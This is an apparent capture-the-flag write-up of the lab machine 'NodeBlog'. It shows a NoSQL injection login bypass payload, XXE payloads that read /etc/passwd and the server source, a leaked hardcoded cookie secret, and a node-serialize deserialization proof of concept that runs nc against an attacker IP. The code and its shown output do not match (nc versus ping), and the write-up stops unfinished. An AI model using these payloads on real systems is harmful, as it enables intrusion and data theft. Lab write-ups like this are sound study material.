Reconnaissance

First, I added the new host to my known ones:

sudo echo "10.10.11.139 nodeblog.htb" | sudo tee -a /etc/hosts

Then, I performed a Nmap scan:

nmap -sC -T4 -p- nodeblog.htb > sC.txt
 
[redacted]
PORT   STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open  upnp

So I checked the port 5000:

It seems to be a basic Node app. Inspecting the source code there are two hidden endpoints: /login and /articles:

  • /login:

  • /articles:

Weaponization

Iโ€™ll try to test for NoSQLi as explained in Hacktricks.

Exploitation

I decided to capture the petition and test for NoSQLi:

Iโ€™ll inspect which verbs the website accepts by using OPTIONS:

When testing a non-existent username I get the error โ€œInvalid usernameโ€:

Then testing for the โ€œadminโ€ user I noted a different message:

If I try the body to JSON I see that the response has the same message โ€œInvalid Passwordโ€:

So if I test with the following payload I can successfully bypass the login:

{
  "user": "admin",
  "password": {"$ne": "admin"}
}

So now Iโ€™ll send the petition to the Intercept and get access to the admin panel:

Exploitation x2

I noted an โ€œUploadโ€ button, so Iโ€™ll inspect it and try to upload a web shell:

It only allows to upload xml files or this error is prompted:

Inspecting the source code of the error I get an example of the file structure it accepts:

So Iโ€™ll upload the example to test the functionality:

<post>
	<title>Example Post</title>
	<description>Example Description</description>
	<markdown>Example Markdown</markdown>
</post>

Then it automatically gets the content of it:

So now Iโ€™ll craft a malicious xml file with the following content:

<!DOCTYPE item [ <!ELEMENT item ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
 
<post>
	<title>Example Post</title>
	<description>Example Description</description>
	<markdown>&xxe;</markdown>
</post>

Got an XXE!

So now I can try to read the source code. To do do, first I need to know the location of it by inputting a bad body on the /login request:

Checking the output, we can see that the server is located inside /opt/blog, so we can try to leak the typicall configuration file server.js:

<!DOCTYPE item [ <!ELEMENT item ANY >
<!ENTITY xxe SYSTEM "file:///opt/blog/server.js" >]>
 
<post>
	<title>Example Post</title>
	<description>Example Description</description>
	<markdown>&xxe;</markdown>
</post>

Deserialization

  • The content of server.js:
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()
 
mongoose.connect('mongodb://localhost/blog')
 
app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));
 
function authenticated(c) {
    if (typeof c == 'undefined')
        return false
 
    c = serialize.unserialize(c)
 
    if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex
')) ){
        return true
    } else {
        return false
    }
}
 
 
app.get('/', async (req, res) => {
    const articles = await Article.find().sort({
        createdAt: 'desc'
    })
    res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, a
uthenticated: authenticated(req.cookies.auth) })
})
 
app.use('/articles', articleRouter)
app.use('/login', loginRouter)
 
 
app.listen(5000)

It seems that node-serialize library is being used, so I checked the cookie of the admin user and took note of their cookie:

%7B%22user%22%3A%22admin%22%2C%22sign%22%3A%2223e112072945418601deb47d9a6c7de8%22%7D
# URL Decoded
{"user":"admin","sign":"23e112072945418601deb47d9a6c7de8"}

If I decode it seems to be a json containing the user and its hashed passwd.

Weaponization x2

I searched โ€œnodejs deserialization exploitโ€ and found OPSECX.

Exploitation x3

First I created a serialize.js to to create a PoC for the output of the id command:

var y = {
rce : function(){
require('child_process').exec('nc 10.10.14.36 777', function(error, stdout,
stderr) { console.log(stdout) });
 },
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
  • NOTE: I needed to install node-serialize library with npm install node-serialize

The result of executing it is the following (node serialize.js):

{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ping -c 1 10.10.14.36',
function(error, stdout, stderr) { console.log(stdout) });\n }()"}
# URL Encoded
%7B%22rce%22%3A%22%5F%24%24ND%5FFUNC%24%24%5Ffunction%28%29%7Brequire%28%27child%5Fprocess%27%29%2Eexec%28%27ping%20%2Dc%201%2010%2E10%2E14%2E36%27%2C%20function%28error%2C%20stdout%2C%20stderr%29%7Bconsole%2Elog%28stdout%29%7D%29%3B%7D%28%29%22%7D

IMPORTANT: the machine doesn't actively work, so I won't continue this writeup, but the initial steps are valuable for me.